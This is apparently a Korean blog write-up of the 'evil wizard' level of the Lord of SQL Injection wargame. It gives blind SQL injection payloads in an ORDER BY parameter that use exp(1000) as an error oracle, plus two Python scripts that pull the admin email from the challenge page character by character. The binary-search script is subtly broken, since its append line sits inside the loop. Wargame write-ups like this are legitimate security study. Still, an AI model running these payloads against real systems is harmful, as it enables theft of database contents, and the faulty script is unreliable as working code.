ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> evil wizard
    Wargame/Lord of SQL Injection 2021. 11. 26. 13:13

    evil wizard

    앞서 풀었던 'hell fire'와 비슷하지만 sleep과 benchmark를 필터링한다.

    출제자의 의도와 달리 앞의 문제에서 exp(1000)을 이용해 문제를 풀었기 때문에 이 문제도 똑같이 풀면된다.

     

    ■참과 거짓 구분하기

     

    ?order=1 and id='rubiya' and if(substr(email,1,1)='r', exp(1000), 1)을 입력하면

    rubiya의 email 첫 글자가 'r'로 참을 나타내므로 exp(1000)에 의해 테이블의 데이터가 출력되지 않는다.

     

    ?order=1 and id='rubiya' and if(substr(email,1,1)='a', exp(1000), 1)를 입력하면

    테이블의 데이터가 출력된다.

    즉, 참일 때는 테이블의 데이터가 출력되지 않고, 거짓일 때 테이블의 데이터가 출력된다.

     

    ■admin의 email 길이 구하기

     

    ?order=1 and id='admin' and if(length(email)>20, exp(1000), 1)을 입력하면

    테이블의 데이터가 출력되지 않으므로 admin의 email 길이가 20보다 크다

     

    ?order=1 and id='admin' and if(length(email)=30, exp(1000), 1)를 입력하면

    테이블의 데이터가 출력되지 않으므로 admin의 email 길이가 30이다.

     

    ■admin의 email 구하기

    ascii나 substr을 필터링 하지 않으므로

    ?order=1 and id='admin' and if(ascii(substr(email,1,1))=97, exp(1000), 1)를 입력하면

    참인 것을 알 수 있다.

    따라서, admin의 email 첫 글자는 'a'로 시작한다.

     

    ?order=1 and id='admin' and if(ascii(substr(email,구하고자 하는 위치,1))=아스키 코드, exp(1000), 1)를 활용하고,

    참일 때 테이블의 데이터가 출력되지 않으므로 'rubiya'가 존재하는지 존재하지 않는지로 구분해서 구할 수 있다.

    파이썬 코드를 이용해 나머지 글자들도 구해보면

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
    cookies = {"PHPSESSID" : "PHPSESSID"}
    want_str = "rubiya"
    email = ""
    
    for i in range(1, 31):
        for j in range(33, 127):
            url = baseurl + "?order=1 and id='admin' and if(ascii(substr(email,{},1))={},exp(1000),1)".format(i,j)
            res = requests.get(url=url, cookies=cookies)
            print(url)
    
            if want_str not in res.text:
                email += chr(j)
                print("email : ", email)
                break
    
    print("email : ", email)

     

    ?email=aasup3r_secure_email@emai1.com를 입력하면

    문제를 해결할 수 있다.

    다소 시간이 많이 걸린다.

     

    이분탐색을 이용하면 훨씬 더 빨리 email을 구할 수 있다.

    import requests
    
    baseurl = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    want_str = "rubiya"
    email = ""
    
    
    for i in range(1, 31):
        start = 33
        end = 128
            
        while (start != end):
            mid = (start+end) // 2
            url = baseurl + "?order=1 and id='admin' and if(ascii(substr(email,{},1))>{},exp(1000),1)".format(i, mid)
            res = requests.get(url=url, cookies=cookies)
    
            if want_str not in res.text:
                start = mid + 1
            else:
                end = mid
                
            email += chr(start)
            print("email : ", email)
                
    print("email : ", email)

     

Designed by Tistory.